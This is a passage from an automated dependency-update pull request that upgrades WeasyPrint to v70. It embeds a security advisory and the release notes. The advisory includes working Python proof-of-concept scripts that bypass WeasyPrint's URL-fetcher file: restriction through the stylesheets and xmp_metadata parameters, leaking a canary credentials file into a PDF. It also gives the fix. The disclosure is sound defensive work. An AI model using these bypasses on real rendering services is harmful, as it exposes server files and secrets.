blocked:', (round(cp.width), round(cp.height)) != (1234, 5678)) ##### -> True ``` ##### 3 - the `stylesheets=` bypass is transitive ```python import os, tempfile from weasyprint import HTML from weasyprint.urls import URLFetcher class Block(URLFetcher): def fetch(self, url, headers=None): if url.lower().startswith('file:'): raise ValueError('blocked ' + url) return super().fetch(url, headers) d = tempfile.mkdtemp() inner = os.path.join(d, 'inner.css') outer = os.path.join(d, 'outer.css') open(inner, 'w').write('@page { size: 333px 777px }') open(outer, 'w').write('@import url("file://%s");' % inner) doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + outer]) p = doc.pages[0] print('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777)) ##### -> True ``` ##### 4 - `xmp_metadata=` discloses a credentials file in full ```python import os, json, tempfile from weasyprint import HTML from weasyprint.urls import URLFetcher class Block(URLFetcher): def fetch(self, url, headers=None): if url.lower().startswith('file:'): raise ValueError('blocked ' + url) return super().fetch(url, headers) creds = {'db_name': 'CANARY_DB_NAME', 'db_password': 'CANARY_PASSWORD_a3f7e9c2', 'encryption_key': 'CANARY_ENC_KEY_b8d4f6a1', 'secret_key': 'CANARY_SECRET_KEY_c5e9d2b7'} d = tempfile.mkdtemp() path = os.path.join(d, 'site_config.json') json.dump(creds, open(path, 'w')) pdf = HTML(string='<p>x</p>', url_fetcher=Block()).write_pdf( xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True) print('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values())) ##### -> True ``` An attacker who controls the `xmp_metadata` path reads any file the rendering process can access and receives its contents in the generated PDF. ##### 5 - scope of the `stylesheets=` channel (honest bound) The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, **not** verbatim disclosure on its own. ```python import os, tempfile from weasyprint import HTML from weasyprint.urls import URLFetcher class Block(URLFetcher): def fetch(self, url, headers=None): if url.lower().startswith('file:'): raise ValueError('blocked ' + url) return super().fetch(url, headers) d = tempfile.mkdtemp() path = os.path.join(d, 'secrets.css') open(path, 'w').write('/* CANARY_SECRET_e2a8c5d4 */\n@page { size: 999px 888px }') html = HTML(string='<p>x</p>', url_fetcher=Block()) doc = html.render(stylesheets=['file://' + path]) pdf = html.write_pdf(stylesheets=['file://' + path], uncompressed_pdf=True) p = doc.pages[0] print('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888)) # -> True print('comment leaked verbatim:', b'CANARY_SECRET_e2a8c5d4' in pdf) # -> False ``` ##### Suggested fix Route both call sites through the document's `url_fetcher`, matching the five sites that already do this. - **`pdf/__init__.py`** - `select_source(url, url_fetcher=self.url_fetcher)`. (Alternatively, restrict `xmp_metadata` to byte strings so no URL fetching occurs.) - **`document.py`** - `CSS(guess=css, ..., url_fetcher=html.url_fetcher)`. This one change also closes the transitive case, since imported sheets inherit the parent's fetcher. #### Severity - CVSS Score: 6.2 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-jf6q-chmf-3h3v](https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-jf6q-chmf-3h3v) - [https://github.com/Kozea/WeasyPrint](https://github.com/Kozea/WeasyPrint) - [https://github.com/Kozea/WeasyPrint/releases/tag/v70.0](https://github.com/Kozea/WeasyPrint/releases/tag/v70.0) - [https://pypi.org/project/weasyprint](https://pypi.org/project/weasyprint) - [https://github.com/advisories/GHSA-jf6q-chmf-3h3v](https://github.com/advisories/GHSA-jf6q-chmf-3h3v) - [https://nvd.nist.gov/vuln/detail/CVE-2026-55073](https://nvd.nist.gov/vuln/detail/CVE-2026-55073) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3940) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Release Notes <details> <summary>Kozea/WeasyPrint (weasyprint)</summary> ### [`v70.0`](https://github.com/Kozea/WeasyPrint/releases/tag/v70.0) [Compare Source](https://github.com/Kozea/WeasyPrint/compare/v69.0...v70.0) Read about this release [on our blog](https://www.courtbouillon.org/blog/00074-weasyprint-70/). **This is a security update (CVE-2026-55073, GHSA-r543-q48m-4c9j).** We strongly recommend to upgrade WeasyPrint to the latest version if you: \* embed untrusted images, or \* rely on the URL fetcher to filter metadata or stylesheets passed as Python parameters. #### Security - Don’t render EPS images. - Always use original URL fetcher when available. #### Features - [#&#8203;2905](https://github.com/Kozea/WeasyPrint/pull/2905): Add initial support of CSS Notes, with financial support from NLnet - [#&#8203;2731](https://github.com/Kozea/WeasyPrint/issues/2731), [#&#8203;2781](https://github.com/Kozea/WeasyPrint/pull/2781): Log an error on unknown render and write\_pdf options - [#&#8203;2802](https://github.com/Kozea/WeasyPrint/issues/2802), [#&#8203;2805](https://github.com/Kozea/WeasyPrint/pull/2805): Create immutable releases on GitHub - [#&#8203;2809](https://github.com/Kozea/WeasyPrint/issues/2809), [#&#8203;2810](https://github.com/Kozea/WeasyPrint/pull/2810): Switch to MSYS2 UCRT64 environment for Windows tests and executables - [#&#8203;2777](https://github.com/Kozea/WeasyPrint/issues/2777), [#&#8203;2814](https://github.com/Kozea/WeasyPrint/pull/2814): Support COLR emoji fonts - [#&#8203;2667](https://github.com/Kozea/WeasyPrint/issues/2667), [#&#8203;2744](https://github.com/Kozea/WeasyPrint/pull/2744): Support context paint in SVG markers - [#&#8203;1862](https://github.com/Kozea/WeasyPrint/issues/1862), [#&#8203;2844](https://github.com/Kozea/WeasyPrint/pull/2844): Improve filename detection for attachments - [#&#8203;2816](https://github.com/Kozea/WeasyPrint/issues/2816), [#&#8203;2827](https://github.com/Kozea/WeasyPrint/pull/2827): Set SVG title as alternative text - [#&#8203;2718](https://github.com/Kozea/WeasyPrint/issues/2718): Provide a 'onedir' Windows executable - [#&#8203;2863](https://github.com/Kozea/WeasyPrint/pull/2863): Support box-shadow - [#&#8203;2755](https://github.com/Kozea/WeasyPrint/pull/2755): Support RTL SVG text anchoring - [#&#8203;2866](https://github.com/Kozea/WeasyPrint/issues/2866): Don’t use f-strings in logs #### Bug fixes - [#&#8203;2799](https://github.com/Kozea/WeasyPrint/pull/2799): Keep HarfBuzz font faces alive during PDF subsetting - [#&#8203;2764](https://github.com/Kozea/WeasyPrint/issues/2764), [#&#8203;2793](https://github.com/Kozea/WeasyPrint/pull/2793): Accept Path as base URL in CSS - [#&#8203;2800](https://github.com/Kozea/WeasyPrint/issues/2800), [#&#8203;2801](https://github.com/Kozea/WeasyPrint/pull/2801): Fix position of raster emojis - [#&#8203;2782](https://github.com/Kozea/WeasyPrint/issues/2782), [#&#8203;2807](https://github.com/Kozea/WeasyPrint/pull/2807): Use POSIX paths in Fontconfig - [#&#8203;2766](https://github.com/Kozea/WeasyPrint/issues/2766), [#&#8203;2779](https://github.com/Kozea/WeasyPrint/pull/2779): Use response bytes when image file path doesn’t exist - [#&#8203;2277](https://github.com/Kozea/WeasyPrint/issues/2277), [#&#8203;2728](https://github.com/Kozea/WeasyPrint/pull/2728): Honor page breaks on floated elements - [#&#8203;2789](https://github.com/Kozea/WeasyPrint/issues/2789), [#&#8203;2818](https://github.com/Kozea/WeasyPrint/pull/2818): Use base URL when solving pending properties - [#&#8203;2820](https://github.com/Kozea/WeasyPrint/pull/2820): Ignore unresolvable math in image slices - [#&#8203;2901](https://github.com/Kozea/WeasyPrint/issues/2901), [#&#8203;2825](https://github.com/Kozea/WeasyPrint/pull/2825): Transform SVG size into CSS to apply CSS sizing algorithm - [#&#8203;2819](https://github.com/Kozea/WeasyPrint/pull/2819): Resolve calc() division by zero to infinity - [#&#8203;2824](https://github.com/Kozea/WeasyPrint/issues/2824): Remove old deprecation warnings - [#&#8203;2762](https://github.com/Kozea/WeasyPrint/issues/2762), [#&#8203;2780](https://github.com/Kozea/WeasyPrint/pull/2780): Set SVG gradient color before path construction - [#&#8203;2761](https://github.com/Kozea/WeasyPrint/issues/2761): Handle split tables with captions - [#&#8203;2215](https://github.com/Kozea/WeasyPrint/issues/2215), [#&#8203;2747](https://github.com/Kozea/WeasyPrint/pull/2747): Discard broken at-rules - [#&#8203;2736](https://github.com/Kozea/WeasyPrint/issues/2736), [#&#8203;2738](https://github.com/Kozea/WeasyPrint/pull/2738): Apply transformations to SVG opacity groups - [#&#8203;2830](https://github.com/Kozea/WeasyPrint/issues/2830): Use a stack to draw simple borders - [#&#8203;2831](https://github.com/Kozea/WeasyPrint/pull/2831): Fix line\_height() crash on calc() values - [#&#8203;2784](https://github.com/Kozea/WeasyPrint/issues/2784), [#&#8203;2832](https://github.com/Kozea/WeasyPrint/pull/2832): Set fallback font for Unicode test - [#&#8203;2726](https://github.com/Kozea/WeasyPrint/issues/2726), [#&#8203;2881](https://github.com/Kozea/WeasyPrint/pull/2881): Improve accessibility of PDF forms - [#&#8203;2803](https://github.com/Kozea/WeasyPrint/pull/2803): Fix inline width after backtracked line breaks - [#&#8203;2833](https://github.com/Kozea/WeasyPrint/issues/2833): Store root style in anonymous style - [#&#8203;2815](https://github.com/Kozea/WeasyPrint/issues/2815), [#&#8203;2836](https://github.com/Kozea/WeasyPrint/pull/2836): Remove flex placeholders added when setting item width - [#&#8203;2843](https://github.com/Kozea/WeasyPrint/issues/2843): Avoid double free for font configuration - [#&#8203;2614](https://github.com/Kozea/WeasyPrint/issues/2614): Fix break point value used to break lines - [#&#8203;2828](https://github.com/Kozea/WeasyPrint/pull/2828): Don’t let a deferred float inflate its block formatting context - [#&#8203;2851](https://github.com/Kozea/WeasyPrint/issues/2851), [#&#8203;2890](https://github.com/Kozea/WeasyPrint/pull/2890): Handle spaces and newlines in URLs - [#&#8203;2855](https://github.com/Kozea/WeasyPrint/issues/2855): Improve blockification of various inline boxes - [#&#8203;2873](https://github.com/Kozea/WeasyPrint/issues/2873), [#&#8203;2875](https://github.com/Kozea/WeasyPrint/pull/2875): Fix drawing of collapsed borders for tables with footers - [#&#8203;2874](https://github.com/Kozea/WeasyPrint/issues/2874), [#&#8203;2879](https://github.com/Kozea/WeasyPrint/pull/2879): Always add nested lists tags after list items tags - [#&#8203;2882](https://github.com/Kozea/WeasyPrint/issues/2882), [#&#8203;2883](https://github.com/Kozea/WeasyPrint/pull/2883): Mark box shadows as PDF artifacts - [#&#8203;2872](https://github.com/Kozea/WeasyPrint/pull/2872): Write explicit color-space objects for shading and transparency groups - [#&#8203;2853](https://github.com/Kozea/WeasyPrint/pull/2853): Fix cleared float layout after page breaks - [#&#8203;2857](https://github.com/Kozea/WeasyPrint/issues/2857), [#&#8203;2888](https://github.com/Kozea/WeasyPrint/pull/2888): Transform running elements into relatively positioned boxes - [#&#8203;2877](https://github.com/Kozea/WeasyPrint/issues/2877), [#&#8203;2889](https://github.com/Kozea/WeasyPrint/pull/2889): Harmonize page break management in tables - [#&#8203;2842](https://github.com/Kozea/WeasyPrint/issues/2842): Handle rounding errors when calculating width of colspan cells - [#&#8203;2714](https://github.com/Kozea/WeasyPrint/issues/2714), [#&#8203;2892](https://github.com/Kozea/WeasyPrint/pull/2892): Remove nested placeholders when removing placeholders - [#&#8203;2914](https://github.com/Kozea/WeasyPrint/issues/2914), [#&#8203;2915](https://github.com/Kozea/WeasyPrint/pull/2915): Restore nested SVG viewport size on the SVG object #### Performance - [#&#8203;2813](https://github.com/Kozea/WeasyPrint/pull/2813): Share computed styles between elements - [#&#8203;2886](https://github.com/Kozea/WeasyPrint/pull/2886): Add deprecation warnings when using fontTools for subsetting - [#&#8203;2526](https://github.com/Kozea/WeasyPrint/issues/2526), [#&#8203;2776](https://github.com/Kozea/WeasyPrint/pull/2776): Use stroked dashes for uniform dotted and dashed borders - [#&#8203;2913](https://github.com/Kozea/WeasyPrint/pull/2913): Increase SVG paths parsing speed #### Documentation - [#&#8203;1360](https://github.com/Kozea/WeasyPrint/issues/1360), [#&#8203;2865](https://github.com/Kozea/WeasyPrint/pull/2865): Document automatic PDF regeneration on source changes #### Contributors - Guillaume Ayoub - Lucie Anglade - Daniel Fitzpatrick - Matthijs van Herwijnen - 김준혁 - Giovanni Giordano - Jurriaan Pruis - Richard Fritsch - Vincent Gao - jellologic - Anis Hammouche - Apoorv Darshan - Daniel Isenmann - David Murray - Jakub Holotík - Jonathan Olsson - Matthijs van Herwijnen - Max #### Backers and sponsors - Spacinov - Syslifters - Kobalt - TrainingSparkle - Prothesis Dental Solutions - Menutech - PDFBolt - KontextWork - Simonsoft - Hammerbacher - FieldHub - Method B - Healthchecks.io - Grip Angebotssoftware - Xavid - Morntag - Yanal-Yves Fargialla - Charlie S. - Kai DeLorenzo </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate CLI](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC42OS42IiwidXBkYXRlZEluVmVyIjoiNDQuNzQuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->
chore(deps): update dependency weasyprint to v70 [security]
All checks were successful
Continuous Integration / Build Package (push) Successful in 1m31s
Continuous Integration / Lint, Check & Test (push) Successful in 1m37s
a6f187b74c
Sign in to join this conversation.
No reviewers
No labels
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
kfickel/cv!16
No description provided.